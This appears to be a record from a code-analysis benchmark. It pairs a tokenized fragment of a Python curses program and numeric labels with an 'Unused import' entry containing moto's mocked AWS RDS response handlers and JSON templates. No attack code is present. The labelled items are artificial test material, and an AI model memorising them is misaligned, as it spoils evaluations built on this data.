"\\u\\u\\uNEWLINE\\u\\u\\u_", "curses_", "._", "start", "\\u", "color_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curses_", "._", "init", "\\u", "pair_", "(_", "1_", ",_", "fore", "ground", "\\u", "colour_", ",_", "background", "\\u", "colour_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curses_", "._", "noe", "cho", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdscr_", "._", "keypa", "d_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdscr_", "._", "nodel", "ay_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curses_", "._", "curs", "\\u", "set_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Run", " ", "main", " ", "event", " ", "loop", " ", "unti", "l", " ", "quit", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "update", "\\u", "gun", "icor", "ns_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "\\u", "keypress", "_", "(_", "stdscr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "display", "\\u", "output_", "(_", "stdscr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curses_", "._", "nap", "ms_", "(_", "int_", "(_", "screen", "\\u", "delay_", "*_", "1000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Tea", "r", " ", "down", " ", "curse", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "curses_", "._", "noc", "break_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stdscr_", "._", "keypa", "d_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curses_", "._", "echo_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curses_", "._", "end", "win_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
spulec/moto/moto/rds2/responses.py
[ { "content": "from __future__ import unicode_literals\n\nfrom moto.core.responses import BaseResponse\nfrom moto.ec2.models import ec2_backends\nfrom .models import rds2_backends\nimport json\nimport re\n\n\n\n\nCREATE_DATABASE_TEMPLATE = \"\"\"{\n \"CreateDBInstanceResponse\": {\n \"CreateDBInstanceResult\": {\n \"DBInstance\": {{ database.to_json() }}\n },\n \"ResponseMetadata\": { \"RequestId\": \"523e3218-afc7-11c3-90f5-f90431260ab4\" }\n }\n}\"\"\"\n\nCREATE_DATABASE_REPLICA_TEMPLATE = \"\"\"{\"CreateDBInstanceReadReplicaResponse\": {\n \"ResponseMetadata\": {\n \"RequestId\": \"5e60c46d-a844-11e4-bb68-17f36418e58f\"\n },\n \"CreateDBInstanceReadReplicaResult\": {\n \"DBInstance\": {{ database.to_json() }}\n }\n}}\"\"\"\n\nDESCRIBE_DATABASES_TEMPLATE = \"\"\"{\n \"DescribeDBInstancesResponse\": {\n \"DescribeDBInstancesResult\": {\n \"DBInstances\": [\n {%- for database in databases -%}\n {%- if loop.index != 1 -%},{%- endif -%}\n {{ database.to_json() }}\n {%- endfor -%}\n ]\n },\n \"ResponseMetadata\": { \"RequestId\": \"523e3218-afc7-11c3-90f5-f90431260ab4\" }\n }\n}\"\"\"\n\nMODIFY_DATABASE_TEMPLATE = \"\"\"{\"ModifyDBInstanceResponse\": {\n \"ModifyDBInstanceResult\": {\n \"DBInstance\": {{ database.to_json() }},\n \"ResponseMetadata\": {\n \"RequestId\": \"bb58476c-a1a8-11e4-99cf-55e92d4bbada\"\n }\n }\n }\n}\"\"\"\n\nREBOOT_DATABASE_TEMPLATE = \"\"\"{\"RebootDBInstanceResponse\": {\n \"RebootDBInstanceResult\": {\n \"DBInstance\": {{ database.to_json() }},\n \"ResponseMetadata\": {\n \"RequestId\": \"d55711cb-a1ab-11e4-99cf-55e92d4bbada\"\n }\n }\n }\n}\"\"\"\n\n\nDELETE_DATABASE_TEMPLATE = \"\"\"{ \"DeleteDBInstanceResponse\": {\n \"DeleteDBInstanceResult\": {\n \"DBInstance\": {{ database.to_json() }}\n },\n \"ResponseMetadata\": {\n \"RequestId\": \"523e3218-afc7-11c3-90f5-f90431260ab4\"\n }\n }\n}\"\"\"\n\nCREATE_SECURITY_GROUP_TEMPLATE = \"\"\"{\"CreateDBSecurityGroupResponse\": {\n \"CreateDBSecurityGroupResult\": {\n \"DBSecurityGroup\":\n {{ security_group.to_json() }},\n \"ResponseMetadata\": {\n \"RequestId\": \"462165d0-a77a-11e4-a5fa-75b30c556f97\"\n }}\n }\n}\"\"\"\n\nDESCRIBE_SECURITY_GROUPS_TEMPLATE = \"\"\"{\n \"DescribeDBSecurityGroupsResponse\": {\n \"ResponseMetadata\": {\n \"RequestId\": \"5df2014e-a779-11e4-bdb0-594def064d0c\"\n },\n \"DescribeDBSecurityGroupsResult\": {\n \"Marker\": \"null\",\n \"DBSecurityGroups\": [\n {% for security_group in security_groups %}\n {%- if loop.index != 1 -%},{%- endif -%}\n {{ security_group.to_json() }}\n {% endfor %}\n ]\n }\n }\n}\"\"\"\n\nDELETE_SECURITY_GROUP_TEMPLATE = \"\"\"{\"DeleteDBSecurityGroupResponse\": {\n \"ResponseMetadata\": {\n \"RequestId\": \"97e846bd-a77d-11e4-ac58-91351c0f3426\"\n }\n}}\"\"\"\n\nAUTHORIZE_SECURITY_GROUP_TEMPLATE = \"\"\"{\n \"AuthorizeDBSecurityGroupIngressResponse\": {\n \"AuthorizeDBSecurityGroupIngressResult\": {\n \"DBSecurityGroup\": {{ security_group.to_json() }}\n },\n \"ResponseMetadata\": {\n \"RequestId\": \"75d32fd5-a77e-11e4-8892-b10432f7a87d\"\n }\n }\n}\"\"\"\n\nCREATE_SUBNET_GROUP_TEMPLATE = \"\"\"{\n \"CreateDBSubnetGroupResponse\": {\n \"CreateDBSubnetGroupResult\":\n { {{ subnet_group.to_json() }} },\n \"ResponseMetadata\": { \"RequestId\": \"3a401b3f-bb9e-11d3-f4c6-37db295f7674\" }\n }\n}\"\"\"\n\nDESCRIBE_SUBNET_GROUPS_TEMPLATE = \"\"\"{\n \"DescribeDBSubnetGroupsResponse\": {\n \"DescribeDBSubnetGroupsResult\": {\n \"DBSubnetGroups\": [\n {% for subnet_group in subnet_groups %}\n { {{ subnet_group.to_json() }} }{%- if not loop.last -%},{%- endif -%}\n {% endfor %}\n ],\n \"Marker\": null\n },\n \"ResponseMetadata\": { \"RequestId\": \"b783db3b-b98c-11d3-fbc7-5c0aad74da7c\" }\n }\n}\"\"\"\n\n\nDELETE_SUBNET_GROUP_TEMPLATE = \"\"\"{\"DeleteDBSubnetGroupResponse\": {\"ResponseMetadata\": {\"RequestId\": \"13785dd5-a7fc-11e4-bb9c-7f371d0859b0\"}}}\"\"\"\n\nCREATE_OPTION_GROUP_TEMPLATE = \"\"\"{\n \"CreateOptionGroupResponse\": {\n \"CreateOptionGroupResult\": {\n \"OptionGroup\": {{ option_group.to_json() }}\n },\n \"ResponseMetadata\": {\n \"RequestId\": \"1e38dad4-9f50-11e4-87ea-a31c60ed2e36\"\n }\n }\n}\"\"\"\n\nDELETE_OPTION_GROUP_TEMPLATE = \\\n \"\"\"{\"DeleteOptionGroupResponse\": {\"ResponseMetadata\": {\"RequestId\": \"e2590367-9fa2-11e4-99cf-55e92d41c60e\"}}}\"\"\"\n\nDESCRIBE_OPTION_GROUP_TEMPLATE = \\\n \"\"\"{\"DescribeOptionGroupsResponse\": {\n \"DescribeOptionGroupsResult\": {\n \"Marker\": null,\n \"OptionGroupsList\": [\n {%- for option_group in option_groups -%}\n {%- if loop.index != 1 -%},{%- endif -%}\n {{ option_group.to_json() }}\n {%- endfor -%}\n ]},\n \"ResponseMetadata\": {\"RequestId\": \"4caf445d-9fbc-11e4-87ea-a31c60ed2e36\"}\n }}\"\"\"\n\nDESCRIBE_OPTION_GROUP_OPTIONS_TEMPLATE = \\\n \"\"\"{\"DescribeOptionGroupOptionsResponse\": {\n \"DescribeOptionGroupOptionsResult\": {\n \"Marker\": null,\n \"OptionGroupOptions\": [\n {%- for option_group_option in option_group_options -%}\n {%- if loop.index != 1 -%},{%- endif -%}\n {{ option_group_option.to_json() }}\n {%- endfor -%}\n ]},\n \"ResponseMetadata\": {\"RequestId\": \"457f7bb8-9fbf-11e4-9084-5754f80d5144\"}\n }}\"\"\"\n\nMODIFY_OPTION_GROUP_TEMPLATE = \\\n \"\"\"{\"ModifyOptionGroupResponse\": {\n \"ResponseMetadata\": {\n \"RequestId\": \"ce9284a5-a0de-11e4-b984-a11a53e1f328\"\n },\n \"ModifyOptionGroupResult\":\n {{ option_group.to_json() }}\n }\n }\"\"\"\n\nLIST_TAGS_FOR_RESOURCE_TEMPLATE = \\\n \"\"\"{\"ListTagsForResourceResponse\":\n {\"ListTagsForResourceResult\":\n {\"TagList\": [\n {%- for tag in tags -%}\n {%- if loop.index != 1 -%},{%- endif -%}\n {\n \"Key\": \"{{ tag['Key'] }}\",\n \"Value\": \"{{ tag['Value'] }}\"\n }\n {%- endfor -%}\n ]},\n \"ResponseMetadata\": {\n \"RequestId\": \"8c21ba39-a598-11e4-b688-194eaf8658fa\"\n }\n }\n }\"\"\"\n\nADD_TAGS_TO_RESOURCE_TEMPLATE = \\\n \"\"\"{\"ListTagsForResourceResponse\": {\n \"ListTagsForResourceResult\": {\n \"TagList\": [\n {%- for tag in tags -%}\n {%- if loop.index != 1 -%},{%- endif -%}\n {\n \"Key\": \"{{ tag['Key'] }}\",\n \"Value\": \"{{ tag['Value'] }}\"\n }\n {%- endfor -%}\n ]},\n \"ResponseMetadata\": {\n \"RequestId\": \"b194d9ca-a664-11e4-b688-194eaf8658fa\"\n }\n }\n }\"\"\"\n\nREMOVE_TAGS_FROM_RESOURCE_TEMPLATE = \\\n \"\"\"{\"RemoveTagsFromResourceResponse\": {\"ResponseMetadata\": {\"RequestId\": \"c6499a01-a664-11e4-8069-fb454b71a80e\"}}}\n \"\"\"\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class RDS2Response(BaseResponse):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.RDS2Response", "header": "['module', '___EOS___']", "index": 9 }, { "content": " @property\n def backend(self):\n return rds2_backends[self.region]", "metadata": "root.RDS2Response.backend", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 11 }, { "content": " def _get_db_kwargs(self):\n args = {\n \"auto_minor_version_upgrade\": self._get_param('AutoMinorVersionUpgrade'),\n \"allocated_storage\": self._get_int_param('AllocatedStorage'),\n \"availability_zone\": self._get_param(\"AvailabilityZone\"),\n \"backup_retention_period\": self._get_param(\"BackupRetentionPeriod\"),\n \"db_instance_class\": self._get_param('DBInstanceClass'),\n \"db_instance_identifier\": self._get_param('DBInstanceIdentifier'),\n \"db_name\": self._get_param(\"DBName\"),\n # DBParameterGroupName\n \"db_subnet_group_name\": self._get_param(\"DBSubnetGroupName\"),\n \"engine\": self._get_param(\"Engine\"),\n \"engine_version\": self._get_param(\"EngineVersion\"),\n \"iops\": self._get_int_param(\"Iops\"),\n \"master_user_password\": self._get_param('MasterUserPassword'),\n \"master_username\": self._get_param('MasterUsername'),\n \"multi_az\": self._get_bool_param(\"MultiAZ\"),\n # OptionGroupName\n \"port\": self._get_param('Port'),\n # PreferredBackupWindow\n # PreferredMaintenanceWindow\n \"publicly_accessible\": self._get_param(\"PubliclyAccessible\"),\n \"region\": self.region,\n \"security_groups\": self._get_multi_param('DBSecurityGroups.member'),\n \"storage_type\": self._get_param(\"StorageType\"),\n # VpcSecurityGroupIds.member.N\n \"tags\": list()\n }\n args['tags'] = self.unpack_complex_list_params('Tags.member', ('Key', 'Value'))\n return args", "metadata": "root.RDS2Response._get_db_kwargs", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 15 }, { "content": " def _get_db_replica_kwargs(self):\n return {\n \"auto_minor_version_upgrade\": self._get_param('AutoMinorVersionUpgrade'),\n \"availability_zone\": self._get_param(\"AvailabilityZone\"),\n \"db_instance_class\": self._get_param('DBInstanceClass'),\n \"db_instance_identifier\": self._get_param('DBInstanceIdentifier'),\n \"db_subnet_group_name\": self._get_param(\"DBSubnetGroupName\"),\n \"iops\": self._get_int_param(\"Iops\"),\n # OptionGroupName\n \"port\": self._get_param('Port'),\n \"publicly_accessible\": self._get_param(\"PubliclyAccessible\"),\n \"source_db_identifier\": self._get_param('SourceDBInstanceIdentifier'),\n \"storage_type\": self._get_param(\"StorageType\"),\n }", "metadata": "root.RDS2Response._get_db_replica_kwargs", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 46 }, { "content": " def _get_option_group_kwargs(self):\n return {\n 'major_engine_version': self._get_param('MajorEngineVersion'),\n 'description': self._get_param('OptionGroupDescription'),\n 'engine_name': self._get_param('EngineName'),\n 'name': self._get_param('OptionGroupName')\n }", "metadata": "root.RDS2Response._get_option_group_kwargs", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 61 }, { "content": " def unpack_complex_list_params(self, label, names):\n unpacked_list = list()\n count = 1\n while self._get_param('{0}.{1}.{2}'.format(label, count, names[0])):\n param = dict()\n for i in range(len(names)):\n param[names[i]] = self._get_param('{0}.{1}.{2}'.format(label, count, names[i]))\n unpacked_list.append(param)\n count += 1\n return unpacked_list", "metadata": "root.RDS2Response.unpack_complex_list_params", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 69 }, { "content": " def unpack_list_params(self, label):\n unpacked_list = list()\n count = 1\n while self._get_param('{0}.{1}'.format(label, count)):\n unpacked_list.append(self._get_param('{0}.{1}'.format(label, count)))\n count += 1\n return unpacked_list", "metadata": "root.RDS2Response.unpack_list_params", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 80 }, { "content": " def create_dbinstance(self):\n return self.create_db_instance()", "metadata": "root.RDS2Response.create_dbinstance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 88 }, { "content": " def create_db_instance(self):\n db_kwargs = self._get_db_kwargs()\n database = self.backend.create_database(db_kwargs)\n template = self.response_template(CREATE_DATABASE_TEMPLATE)\n return template.render(database=database)", "metadata": "root.RDS2Response.create_db_instance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 91 }, { "content": " def create_dbinstance_read_replica(self):\n return self.create_db_instance_read_replica()", "metadata": "root.RDS2Response.create_dbinstance_read_replica", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 97 }, { "content": " def create_db_instance_read_replica(self):\n db_kwargs = self._get_db_replica_kwargs()\n\n database = self.backend.create_database_replica(db_kwargs)\n template = self.response_template(CREATE_DATABASE_REPLICA_TEMPLATE)\n return template.render(database=database)", "metadata": "root.RDS2Response.create_db_instance_read_replica", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 100 }, { "content": " def describe_dbinstances(self):\n return self.describe_db_instances()", "metadata": "root.RDS2Response.describe_dbinstances", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 107 }, { "content": " def describe_db_instances(self):\n db_instance_identifier = self._get_param('DBInstanceIdentifier')\n databases = self.backend.describe_databases(db_instance_identifier)\n template = self.response_template(DESCRIBE_DATABASES_TEMPLATE)\n return template.render(databases=databases)", "metadata": "root.RDS2Response.describe_db_instances", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 110 }, { "content": " def modify_dbinstance(self):\n return self.modify_db_instance()", "metadata": "root.RDS2Response.modify_dbinstance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 116 }, { "content": " def modify_db_instance(self):\n db_instance_identifier = self._get_param('DBInstanceIdentifier')\n db_kwargs = self._get_db_kwargs()\n database = self.backend.modify_database(db_instance_identifier, db_kwargs)\n template = self.response_template(MODIFY_DATABASE_TEMPLATE)\n return template.render(database=database)", "metadata": "root.RDS2Response.modify_db_instance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 119 }, { "content": " def delete_dbinstance(self):\n return self.delete_db_instance()", "metadata": "root.RDS2Response.delete_dbinstance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 126 }, { "content": " def delete_db_instance(self):\n db_instance_identifier = self._get_param('DBInstanceIdentifier')\n database = self.backend.delete_database(db_instance_identifier)\n template = self.response_template(DELETE_DATABASE_TEMPLATE)\n return template.render(database=database)", "metadata": "root.RDS2Response.delete_db_instance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 129 }, { "content": " def reboot_dbinstance(self):\n return self.reboot_db_instance()", "metadata": "root.RDS2Response.reboot_dbinstance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 135 }, { "content": " def reboot_db_instance(self):\n db_instance_identifier = self._get_param('DBInstanceIdentifier')\n database = self.backend.reboot_db_instance(db_instance_identifier)\n template = self.response_template(REBOOT_DATABASE_TEMPLATE)\n return template.render(database=database)", "metadata": "root.RDS2Response.reboot_db_instance", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 138 }, { "content": " def list_tags_for_resource(self):\n arn = self._get_param('ResourceName')\n template = self.response_template(LIST_TAGS_FOR_RESOURCE_TEMPLATE)\n tags = self.backend.list_tags_for_resource(arn)\n return template.render(tags=tags)", "metadata": "root.RDS2Response.list_tags_for_resource", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 144 }, { "content": " def add_tags_to_resource(self):\n arn = self._get_param('ResourceName')\n tags = self.unpack_complex_list_params('Tags.member', ('Key', 'Value'))\n tags = self.backend.add_tags_to_resource(arn, tags)\n template = self.response_template(ADD_TAGS_TO_RESOURCE_TEMPLATE)\n return template.render(tags=tags)", "metadata": "root.RDS2Response.add_tags_to_resource", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 150 }, { "content": " def remove_tags_from_resource(self):\n arn = self._get_param('ResourceName')\n tag_keys = self.unpack_list_params('TagKeys.member')\n self.backend.remove_tags_from_resource(arn, tag_keys)\n template = self.response_template(REMOVE_TAGS_FROM_RESOURCE_TEMPLATE)\n return template.render()", "metadata": "root.RDS2Response.remove_tags_from_resource", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 157 }, { "content": " def create_dbsecurity_group(self):\n return self.create_db_security_group()", "metadata": "root.RDS2Response.create_dbsecurity_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 164 }, { "content": " def create_db_security_group(self):\n group_name = self._get_param('DBSecurityGroupName')\n description = self._get_param('DBSecurityGroupDescription')\n security_group = self.backend.create_security_group(group_name, description)\n template = self.response_template(CREATE_SECURITY_GROUP_TEMPLATE)\n return template.render(security_group=security_group)", "metadata": "root.RDS2Response.create_db_security_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 167 }, { "content": " def describe_dbsecurity_groups(self):\n return self.describe_db_security_groups()", "metadata": "root.RDS2Response.describe_dbsecurity_groups", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 174 }, { "content": " def describe_db_security_groups(self):\n security_group_name = self._get_param('DBSecurityGroupName')\n security_groups = self.backend.describe_security_groups(security_group_name)\n template = self.response_template(DESCRIBE_SECURITY_GROUPS_TEMPLATE)\n return template.render(security_groups=security_groups)", "metadata": "root.RDS2Response.describe_db_security_groups", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 177 }, { "content": " def delete_dbsecurity_group(self):\n return self.delete_db_security_group()", "metadata": "root.RDS2Response.delete_dbsecurity_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 183 }, { "content": " def delete_db_security_group(self):\n security_group_name = self._get_param('DBSecurityGroupName')\n security_group = self.backend.delete_security_group(security_group_name)\n template = self.response_template(DELETE_SECURITY_GROUP_TEMPLATE)\n return template.render(security_group=security_group)", "metadata": "root.RDS2Response.delete_db_security_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 186 }, { "content": " def authorize_dbsecurity_group_ingress(self):\n return self.authorize_db_security_group_ingress()", "metadata": "root.RDS2Response.authorize_dbsecurity_group_ingress", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 192 }, { "content": " def authorize_db_security_group_ingress(self):\n security_group_name = self._get_param('DBSecurityGroupName')\n cidr_ip = self._get_param('CIDRIP')\n security_group = self.backend.authorize_security_group(security_group_name, cidr_ip)\n template = self.response_template(AUTHORIZE_SECURITY_GROUP_TEMPLATE)\n return template.render(security_group=security_group)", "metadata": "root.RDS2Response.authorize_db_security_group_ingress", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 195 }, { "content": " def create_dbsubnet_group(self):\n return self.create_db_subnet_group()", "metadata": "root.RDS2Response.create_dbsubnet_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 202 }, { "content": " def create_db_subnet_group(self):\n subnet_name = self._get_param('DBSubnetGroupName')\n description = self._get_param('DBSubnetGroupDescription')\n subnet_ids = self._get_multi_param('SubnetIds.member')\n subnets = [ec2_backends[self.region].get_subnet(subnet_id) for subnet_id in subnet_ids]\n subnet_group = self.backend.create_subnet_group(subnet_name, description, subnets)\n template = self.response_template(CREATE_SUBNET_GROUP_TEMPLATE)\n return template.render(subnet_group=subnet_group)", "metadata": "root.RDS2Response.create_db_subnet_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 205 }, { "content": " def describe_dbsubnet_groups(self):\n return self.describe_db_subnet_groups()", "metadata": "root.RDS2Response.describe_dbsubnet_groups", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 214 }, { "content": " def describe_db_subnet_groups(self):\n subnet_name = self._get_param('DBSubnetGroupName')\n subnet_groups = self.backend.describe_subnet_groups(subnet_name)\n template = self.response_template(DESCRIBE_SUBNET_GROUPS_TEMPLATE)\n return template.render(subnet_groups=subnet_groups)", "metadata": "root.RDS2Response.describe_db_subnet_groups", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 217 }, { "content": " def delete_dbsubnet_group(self):\n return self.delete_db_subnet_group()", "metadata": "root.RDS2Response.delete_dbsubnet_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 223 }, { "content": " def delete_db_subnet_group(self):\n subnet_name = self._get_param('DBSubnetGroupName')\n subnet_group = self.backend.delete_subnet_group(subnet_name)\n template = self.response_template(DELETE_SUBNET_GROUP_TEMPLATE)\n return template.render(subnet_group=subnet_group)", "metadata": "root.RDS2Response.delete_db_subnet_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 226 }, { "content": " def create_option_group(self):\n kwargs = self._get_option_group_kwargs()\n option_group = self.backend.create_option_group(kwargs)\n template = self.response_template(CREATE_OPTION_GROUP_TEMPLATE)\n return template.render(option_group=option_group)", "metadata": "root.RDS2Response.create_option_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 232 }, { "content": " def delete_option_group(self):\n kwargs = self._get_option_group_kwargs()\n option_group = self.backend.delete_option_group(kwargs['name'])\n template = self.response_template(DELETE_OPTION_GROUP_TEMPLATE)\n return template.render(option_group=option_group)", "metadata": "root.RDS2Response.delete_option_group", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 238 }, { "content": " def describe_option_groups(self):\n kwargs = self._get_option_group_kwargs()\n kwargs['max_records'] = self._get_param('MaxRecords')\n kwargs['marker'] = self._get_param('Marker')\n option_groups = self.backend.describe_option_groups(kwargs)\n template = self.response_template(DESCRIBE_OPTION_GROUP_TEMPLATE)\n return template.render(option_groups=option_groups)", "metadata": "root.RDS2Response.describe_option_groups", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 244 }, { "content": " def describe_option_group_options(self):\n engine_name = self._get_param('EngineName')\n major_engine_version = self._get_param('MajorEngineVersion')\n option_group_options = self.backend.describe_option_group_options(engine_name, major_engine_version)\n return option_group_options", "metadata": "root.RDS2Response.describe_option_group_options", "header": "['class', 'RDS2Response', '(', 'BaseResponse', ')', ':', '___EOS___']", "index": 252 }, { "content": " def modify_option_group(self):\n option_group_name = self._get_param('OptionGroupName')\n count = 1\n options_to_include = []\n while self._get_param('OptionsToInclude.member.{0}.OptionName'.format(count)):\n options_to_include.append({\n 'Port': self._get_param('OptionsToInclude.member.{0}.Port'.format(count)),\n 'OptionName': self._get_param('OptionsToInclude.member.{0}.OptionName'.format(count)),\n 'DBSecurityGroupMemberships': self._get_param('OptionsToInclude.member.{0}.DBSecurityGroupMemberships'.format(count)),\n 'OptionSettings': self._get_param('OptionsToInclude.member.{0}.OptionSettings'.format(count)),\n 'VpcSecurityGroupMemberships': self._get_param('OptionsToInclude.member.{0}.VpcSecurityGroupMemberships'.format(count))\n })\n count += 1\n\n count = 1\n options_to_remove = []\n while self._get_param('OptionsToRemove.member.{0}'.format(count)):\n options_to_remove.append(self._get_param('OptionsToRemove.member.{0}'.format(count)))\n count += 1\n apply_immediately = self._get_param('ApplyImmediately')\n option_group = self.backend.modify_option_group(option_group_name,\n options_to_include,\n options_to_remove,\n apply_immediately)\n template = self.response_template(MODIFY_OPTION_GROUP_TEMPLATE)\n return template.render(option_group=option_group)", "metadata": "root.RDS2Response.modify_option_group", "header": "['class', 